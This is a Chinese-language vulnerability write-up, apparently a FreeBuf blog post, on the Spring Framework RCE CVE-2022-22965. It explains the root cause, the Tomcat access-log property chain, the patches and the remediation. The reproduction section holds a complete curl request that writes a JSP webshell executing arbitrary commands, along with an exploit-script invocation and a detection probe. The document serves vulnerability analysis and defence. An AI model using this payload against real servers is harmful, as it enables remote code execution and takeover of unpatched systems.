yunzui
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

0x00写在前面
本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!
0x01漏洞描述
2022年3月31日,Spring 官方发布安全更新通告,修复了 Spring Framework 中存在的远程代码执行漏洞,漏洞编号为CVE-2022-22965,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击,该漏洞由于JDK 9 + 中新添加的函数绕过了Spring CachedIntrospectionResults 对ClassLoader获取的限制,导致可以获取到任意ClassLoader,攻击者可以通过发送精心构造的数据请求来注入恶意属性触发漏洞,导致远程代码执行的漏洞风险。
0x02漏洞危害
在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击,该漏洞由于JDK 9 + 中新添加的函数绕过了Spring CachedIntrospectionResults 对 ClassLoader获取的限制,导致可以获取到任意ClassLoader,攻击者可以通过发送精心构造的数据请求来注入恶意属性触发漏洞,导致远程代码执行的漏洞风险。
0x03漏洞影响
Spring Framework 5.3.X < 5.3.18
Spring Framework 5.2.X < 5.2.20
受影响条件(需同时满足):
- JDK 9 及以上版本
- Apache Tomcat 作为 Servlet 容器
- Spring 框架以及衍生的框架
0x03漏洞分析
漏洞原理
通过对java jdk9以上版本的新特性moudle.getClassLoader()利用,并绕过原有CVE-2010-1622的补丁,结合tomcat的某些列类进行漏洞利用。(通过 module 来调用 JDK 模块下的方法,而 module 并不在黑名单中,所以能够绕过黑名单。)
搭建漏洞分析环境
JDK 11.0.14
Tomcat 8.5.77
Spring 2.6.3
知识普及
Java.lang.class
在java中有两种对象:class对象和实例对象。实例对象,是类的实例,通常是通过new这个关键字构建。class对象,是JVM生成用来保存对象类的信息。
在 java.lang.Class 类中对 Class 类的构造方法有相关说明:
/*
* Private constructor. Only the Java Virtual Machine creates Class objects.
* This constructor is not used and prevents the default constructor being
* generated.
*/
private Class(ClassLoader loader, Class<?> arrayComponentType) {
// Initialize final field for classLoader. The initialization value of non-null
// prevents future JIT optimizations from assuming this final field is null.
classLoader = loader;
componentType = arrayComponentType;
}
Class 类的构造方法是私有构造函数,只有 JVM 才可以创建该类的对象。没有办法通过 new 的方式声明一个 Class 对象,但是依然有其他方式获得 Class 类的对象,如:通过类的静态成员变量来获取、通过 java.lang.Object.getClass() 方法返回运行时类的对象、通过 Class 的静态方法 forName()获取。
可以这样去理解,获取到一个类对象后,就可以调用这个类中的一些方法,当获取到 Class 对象后,变相的获取了所有 Class 类的对象,通过调用这个 Class 类下实例对象的方法,就相当于调用了实例对象的方法。
javabean
JavaBean 是一种 Java 语言写成的可重用组件。写成 JavaBean,类必须是具体的和公共的,并且具有无参数的构造器。JavaBean 通过提供符合一致性设计模式的公共方法将内部域暴露成员属性,long 和 class 方法获取。众所周知,属性名称符合这种模式,其他 Java 类可以通过自省机制发现和操作这些 JavaBean 的属性。javaBean是一种特殊的类,主要用于传递数据信息,这种类中的方法主要用于访问私有的字段,且方法 名符合某种命名规则。下面就是JavaBean的示例
publicclassStudent{
privateIntegerage;
privateStringname;
privateIntegerid;
publicvoidsetAge(Integerage) {
this.age= age;
}
publicIntegergetAge() {
returnage;
}
publicvoidsetName(Stringname) {
this.name= name;
}
publicStringgetName() {
returnname;
}
publicvoidsetId(Integerid) {
this.id= id;
}
publicIntegergetId() {
returnid;
}
}
JavaBean 标准有以下要求:
所有的类必须声明为public,这样才能够被外部所访问;
类中所有的属性都必须封装,即:使用private声明;
封装的属性如果需要被外部所操作,则必须编写对应的setter、getter方法;
一个 JavaBean 中至少存在一个无参构造方法
publicclassPerson{
privateStringname;
privateintage;
publicStringgetName() {
returnthis.name;
}
publicvoidsetName(Stringname) {
this.name= name;
}
publicintgetAge() {
returnthis.age;
}
publicvoidsetAge(intage) {
this.age= age;
}
}
漏洞分析
主要代码
代码调试,执行位置
这里就可以获取到 class对象,然后利⽤这个 class 对象构造利⽤链了,⽬前⽐较简单的⽅式,就是修改Tomcat的⽇志配置,向⽇志中写⼊恶意代码。⼀条完整的利⽤链如下: class.module.classLoader.resources.context.parent.pipeline.first.pattern=恶意代码 class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=路径(webapps/ROOT) class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
Access Log中也支持cookie,请求header,响应headers,Session或者其他在ServletRequest 中的对象的信息。格式遵循apache语法:
%{xxx}i 请求headers的信息
%{xxx}o 响应headers的信息
%{xxx}c 请求cookie的信息
%{xxx}r xxx是ServletRequest的一个属性
%{xxx}s xxx是HttpSession的一个属性
common模式的pattern(即默认pattern参数)的格式为'%h %l %u %t “%r” %s %b'。combined模式的 pattern可以增加Referer和User-Agent headers的参数形式,每个参数用双引号包起来,引号中的内容 还是上面列举的参数。比如"%{User-Agent}i"使其为”%{User-Agent}i“,即请求的User-Agent(客户端, 浏览器)
AccessLogValve类有公共的可以使用的get/set方法。
className 执行Access Log任务的类,默认是org.apache.catalina.valves.AccessLogValve;也可以使用 org.apache.catalina.valves.FastCommonAccessLogValve,但这时候只支持common和combined patterns。
directory AccessLogValve产生的Access Log文件存放目录的绝对路径或者相对路径。如果是相对路径,那么是相对 $CATALINA_HOME的。如果没有指定这个参数,默认值是"logs"(相对$CATALINA_HOME)。
pattern 用于指定展示在Access Log中的各种request和response的信息字段的格式,也可以使用单词common或者 combined来选择一种标准的日志形式。下一节会详细介绍。 注意优化的access只支持common和combined格式。
prefix 每个Access Log文件的文件名前缀,如果没有指定,默认是"access_log.“,如果想没有前缀,则指定一 个空的字符串(zero-length string)。
resolveHosts 如果设置为true,则会通过DNS lookup将远程主机的IP地址转换成对应的主机。设置成false则跳过这个 DNS lookup过程,然后在日志中直接展示IP地址。
suffix 每个Access Log文件的文件名后缀,如果没有指定,默认值是“”,如果想没有后缀,则指定一个空的字符串 (zero-length string)。
rotatable 默认为true。这个参数决定是否需要切换切换日志文件,如果被设置为false,则日志文件不会切换,即所有 文件打到同一个日志文件中,并且fileDateFormat参数也会被忽略。小心使用这个参数。
condition 设置是否打开条件日志,如果设置了这个参数,requests只有当ServletRequest.getAttribute()为 null的时候才会被记录日志。比如这个值被设置成junk,然后当一个特定请求的 ServletRequest.getAttribute(“junk”) == null的时候,这个request会被记录。使用Filters很 容易在ServletRequest中设置或者不设置这个属性。
fileDateFormat Tomcat允许指定Access Log文件名中日期格式。日期格式同时也决定了如何切换日志文件的策略,比如如果 你想每小时生成一个日志文件,设置这个值为yyyy-MM-dd.HH。
0x04漏洞修复
针对该漏洞Spring以及 Tomcat都做出了修复。
Spring: Class类仅可以获取name相关的值了,而且对没有写操作权限的ClassLoader以及ProtectionDomain做了限制。
Tomcat:tomcat则是直接把getResources返回为空。
官方补丁
https://github.com/spring-projects/spring-framework/commit/afbff391d8299034cd98af968981504b6ca7b38c
0x05漏洞复现
该漏洞环境搭建调试过程比较坑,搭建过的人应该都感同身受吧。最简单的方式就是将漏洞代码通过打包成war,然后使用tomca环境部署,这里要注意Java版本必须要jdk9以上,否则怎么验证都没有漏洞!
docker环境验证
方式一(有害)
curl -v -d "class.module.classLoaderesources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://10.211.55.2:46966/
脚本:
python3 exp.py --url http://10.211.55.2:46966/
通过上传的jsp文件进行RCE
方式二(无害)
通过该payload测试,如果返回404,则可能存在漏洞
?class.module.classLoader.URLs%5B0%5D=0
通过GET方法
通过POST方法
通过AWVS扫描器发现
0x05漏洞修复
目前 Spring 官方已经发布了解决上述漏洞的安全更新,建议受影响用户尽快升级到安全版本:
安全版本:
Spring Framework == 5.3.18
Spring Framework == 5.2.20
官方安全版本下载可以参考以下链接:
https://github.com/spring-projects/spring-framework/tags
0x06参考链接
https://vas.vulbox.com/vuln-detail?id=117&source=vb
https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
https://nox.qianxin.com/vulnerability/detail/QVD-2022-1691
https://mp.weixin.qq.com/s/ixTbyZyb0FTmc7xaSqxtPw
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)